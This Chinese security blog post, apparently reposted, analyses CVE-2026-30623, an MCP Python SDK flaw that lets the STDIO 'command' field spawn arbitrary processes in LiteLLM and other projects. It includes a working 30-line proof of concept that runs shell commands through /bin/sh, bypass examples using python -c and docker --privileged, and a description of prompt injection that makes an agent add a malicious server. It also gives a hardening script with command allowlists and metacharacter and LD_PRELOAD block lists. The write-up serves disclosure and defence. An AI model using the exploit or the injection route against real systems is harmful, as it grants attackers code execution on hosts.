文章总结: 文档分析了CVE-2026-30623漏洞,该漏洞源于MCP协议层StdioServerParameters命令字段未经过滤直接传递至subprocess.Popen,导致30多个项目面临RCE风险。文章提供了30行Python代码的本地复现方法,并给出基于命令白名单、参数校验和环境变量阻断的三维加固方案。同时指出Anthropic拒绝修改协议架构,建议各实现方自行部署防护措施。 综合评分: 85 文章分类: 漏洞分析,供应链安全,解决方案,应用安全,WEB安全
我在 30 行 Python 里拿到 LiteLLM 的 root:CVE-2026-30623 实战 + 加固
原创
AI安全工坊 AI安全工坊
AI安全工坊
2026年5月7日 21:11 江苏
在小说阅读器读本章
去阅读
CVE-2026-30623 全局影响地图:MCP STDIO RCE 影响 30+ 项目
上周我审一台公司的 MCP server。
跑的是 LiteLLM v1.82.7。3 个工程师围在屏幕前 30 分钟。grep 都没敢动。
没看出问题。
我也没。
直到我把版本号往上翻。4 月发的那个 CVE-2026-30623,影响 7000 多台公网 LiteLLM,加上内网部署一共 20 万。这一台正好踩进去。
双窗口对照 — 左漏洞版 RCE 成功 / 右加固版 allowlist 拦截
下面拆 4 段:
- 1. CVE 是什么 / STDIO 直传到底直传到哪里了
- 2. 1 行命令本地复现(你跟着跑,能拿到一个属于你自己机器的
/tmp/pwned.txt) - 3. Python 加固脚本怎么写(直接抄)
- 4. Anthropic 拒修协议层 / 这个坑还会再来
一、不是普通的 RCE — 是 STDIO 直传
CVE-2026-30623 的根因,1 句话:
MCP Python SDK 的 StdioServerParameters 把用户传的 command 字段,直接交给了 stdio_client 内部的 subprocess.Popen。
中间没有 allowlist。没有命令白名单。没有过滤。
这是协议层 SDK 的事,不是 LiteLLM 一家实现的 bug。所有把 MCP 服务挂在 STDIO 传输上的项目,全部继承同一个根因。
OX Security 4 月 15 日把这事公开的时候,给了它一个名字:「Mother of All AI Supply Chains」。同一个架构缺陷顺着 MCP 协议层「无声传播到每种语言」(Python / TypeScript / Java / Rust SDK 全部受影响)。
11 个已编号 CVE。30 多个项目踩雷。受影响清单上一连串你大概率用过的名字:
LangChain、LangFlow、Flowise、LettaAI、GPT Researcher、Agent Zero、Windsurf、DocsGPT、Jaaz、Langchain-Chatchat、Bisheng……
The Hacker News 报数字:7000+ 公网 server,累计 1.5 亿下载。
The Register 加了一笔:算上内网,20 万实例。
20 万这个数字我看完愣了一下。倒不是因为它大。是因为它揭示了一件事:Anthropic 在 MCP STDIO 接口规定 command 字段直接走 subprocess,所有实现方都照搬,所有人都中。
下面看怎么本地复现。我用了一个避开 LiteLLM 完整启动栈的最干净路径:直接攻击 MCP Python SDK 本身。
二、1 行命令复现(攻击 SDK = 攻击 30+ 项目)
先说前提:全程隔离,payload 只是 whoami + id + date 写到 /tmp/pwned.txt,无害。
为什么不直接跑 LiteLLM?因为 v1.83.5-nightly 的 docker 启动栈很重,强依赖 PostgreSQL + Prisma migrate,nightly 自己有 entrypoint bug 卡在数据库初始化。我浪费过半小时在那。
更聪明的复现路径:直接攻击 LiteLLM 内部调的那个 SDK,mcp.client.stdio。这是 30+ 受影响项目共享的根因层。OX advisory 原话:
“the underlying MCP Python SDK has unsanitized StdioServerParameters.command propagating to subprocess spawn”
STDIO 直传攻击链路:4 步从 JSON 到 RCE
PoC 的核心代码 30 行:
import asyncio
from mcp import StdioServerParameters
from mcp.client.stdio import stdio_client
from mcp.client.session import ClientSession
asyncdefreproduce_cve():
# ↓ 这两行 = LiteLLM v1.83.5 add_mcp_server 的等价代码
server = StdioServerParameters(
command="/bin/sh", # ← 用户可控字段,无 allowlist
args=["-c", "whoami > /tmp/pwned.txt && id >> /tmp/pwned.txt"],
)
# ↓ stdio_client 内部 → anyio.open_process → subprocess spawn
asyncwith stdio_client(server) as (read, write):
asyncwith ClientSession(read, write) as session:
try:
await asyncio.wait_for(session.initialize(), timeout=2.0)
except Exception:
pass# /bin/sh 不会响应 MCP 握手 → 超时是预期的,命令已经跑过了
asyncio.run(reproduce_cve())
跑一下:
pip install mcp
python3 poc_vulnerable.py
cat /tmp/pwned.txt
输出(脱敏占位):
poc_vulnerable.py 输出 — 脱敏版
我跑出的输出含我本机用户名和 macOS 主机名(截图里已脱敏成 <user> 和 <hostname>)。生产里 LiteLLM 默认 docker root 启动,输出会是 uid=0(root),攻击者直接拿容器 root。
已认证的 LiteLLM 用户,可以在代理主机以代理进程身份跑任意命令。
「认证用户应该都是自己人吧?」
不一定。LiteLLM 经常被部署成「内部 LLM 网关」,团队成员、测试账号、CI 凭证都有 master_key 或子 key。任何一个被钓鱼、子 key 被泄、CI 日志被偷看,攻击者就拿到了主机进程身份。
OX Security 列的 4 类攻击向量里那条更坏:零点击提示注入触发 STDIO 配置。攻击者通过一个 prompt 就让 Agent 自己改配置加恶意 MCP server。这条不需要任何凭证。
这部分我留到下篇 W3,专门讲 MCP 供应链。
三、加固脚本 — 直接抄
LiteLLM 官方在 v1.83.6-nightly 修了。内置 allowlist,只允许 7 个命令:
{"npx", "uvx", "python", "python3", "node", "docker", "deno"}
需要扩展的话用环境变量:
LITELLM_MCP_STDIO_EXTRA_COMMANDS="bash,sh"# 谨慎扩展
allowlist 有意做得很窄。/bin/sh 不在里面,因为攻击者最常用的就是 sh / bash 直接跑命令。强制走 npx / uvx / docker 这种包管理器封装的命令,至少多一层语义检查。
Allowlist 3 维度加固盾牌:command + args + env
来不及升 1.83.7-stable 的话,可以先抄这套。这版基于官方 allowlist 再加 args / env 两层纵深防御(不是简单复刻官方修复):
# litellm_hardening.py — 在调 StdioServerParameters 之前过一遍
import os
from pathlib import Path
ALLOWED = {"npx", "uvx", "python", "python3", "node", "docker", "deno"}
EXTRA = {c.strip() for c in os.getenv("LITELLM_MCP_STDIO_EXTRA_COMMANDS", "").split(",") if c.strip()}
ALLOWLIST = ALLOWED | EXTRA
defvalidate_mcp_command(cmd: str, args: list, env: dict | None = None) -> None:
"""3 维度校验 — 在 add MCP server 入口前调。"""
# 维度 1:command basename 必须在 allowlist
ifnot cmd ornot cmd.strip():
raise ValueError("MCP STDIO command 不能为空")
base = Path(cmd.strip()).name # /bin/sh -> sh / /usr/bin/python3 -> python3
if base notin ALLOWLIST:
raise ValueError(f"command '{base}' 不在 allowlist {sorted(ALLOWLIST)}")
# 维度 2:args 不能含 shell 元字符
# 防 attacker 改用 python -c 'import os;os.system("...")' 绕过
for a in args or []:
ifisinstance(a, str) andany(d in a for d in (";", "&&", "||", "|", "`", "$(")):
raise ValueError(f"args 含可疑 shell 元字符:{a[:80]}")
# 维度 3:env 不能注入加载器变量
# 防 LD_PRELOAD / PYTHONPATH 链劫持
blocked = {"LD_PRELOAD", "LD_LIBRARY_PATH", "PYTHONPATH", "PYTHONSTARTUP"}
bad = [k for k in (env or {}) if k in blocked]
if bad:
raise ValueError(f"env 含禁用的加载器变量:{bad}")
跑加固版(打包成 poc_hardened.py 一并放仓库),同 payload,结果不一样:
poc_hardened.py 输出 — allowlist 拦截
注入被拒。
和 LiteLLM 1.83.7 官方修复的关系:
| 防护层 | LiteLLM 1.83.7 官方 | 上面这个脚本 |
| — | — | — |
| 1. command allowlist | ✅ 7 个命令 | ✅ 字节级一致 |
| 2. args shell 元字符校验 | ❌ 不做 | ✅ 我加 |
| 3. env 加载器变量阻断(LD_PRELOAD 等) | ❌ 不做 | ✅ 我加 |
LiteLLM 官方靠 /mcp-rest/test/* endpoint 的 PROXY_ADMIN 角色门控来兜底 args 残留风险(比如 attacker 用 docker run --privileged ubuntu bash,command 是白名单内的 docker,args 里给 root 容器)。LangChain / Flowise / Windsurf 这些没有等价角色门控的项目,args + env 这 2 层兜底更稳。
为什么我特地写了 args 校验和 env 校验?因为单层 allowlist 可被绕过。攻击者改用 python -c 'import os;os.system("whoami")',命令走 python(白名单内),但 args 里塞了完整 shell 命令,同样拿到 RCE。3 维度合在一起才是真加固。
四、Anthropic 拒修,下一波还会来
最让人头大的不是这一个 CVE。是 Anthropic 的回应。
The Hacker News 引用:
“Anthropic has declined to modify the protocol’s architecture, citing the behavior as ‘expected.’”
Anthropic 拒绝改 MCP 协议核心。他们认为 command 字段直传 subprocess 是「预期行为」。协议层不会修,所有实现 MCP 的项目自己加 allowlist、自己校验。
今天升 LiteLLM 1.83.7 救自己一次。下次 LangChain / LangFlow / Windsurf 出新功能,或者你接的下一个 MCP server,必须重做这套加固。没有协议层兜底,每个实现自己背锅。
这种协议级缺陷扩散不会停。authzed 的 MCP 安全事件时间线上,已经有:2025-10 Smithery 路径穿越,2026-01 Gemini MCP CVE-2026-0755,2026-02 假冒 Oura MCP 项目投毒,2026-04 这次 STDIO …… 平均 1-2 个月一次。
MCP 安全事件时间线:4 事件 / 1-2 月一次 / 趋势加速
下次出事的姿势我现在就能预判:
-
• MCP HTTP 传输层。身份验证、鉴权、token 绑定有没有问题?
-
• MCP Resources / Tools 字段。还有什么字段也是这样直传到 host 的?
-
• MCP 客户端 manifest 拉取。客户端拉服务端 manifest 时校验过吗?
W4 我会出一篇企业 MCP 部署 7 陷阱 + 18 项自检清单。这一篇先把 STDIO 这个坑堵上。
文末
以上 4 段你可以直接拿去给同事看,或者自己周末 30 分钟跑一遍。复现脚本就 30 行,不用起完整 LiteLLM。
1. GitHub 持续更新版(推荐 ⭐ Star 一下追新)
→ https://github.com/taielab/ai-security-workshop→ W2 / W3 / W4 PoC + 加固代码 + 检测脚本持续累积,每周一篇配套
2. 工程师交流 / 企业 AI 安全咨询
加我个人微信(备注「W2」+ 来意):
3. 深度交流:知识星球「AI 安全工坊」 :
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:AI安全工坊 AI安全工坊 AI安全工坊《我在 30 行 Python 里拿到 LiteLLM 的 root:CVE-2026-30623 实战 + 加固》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论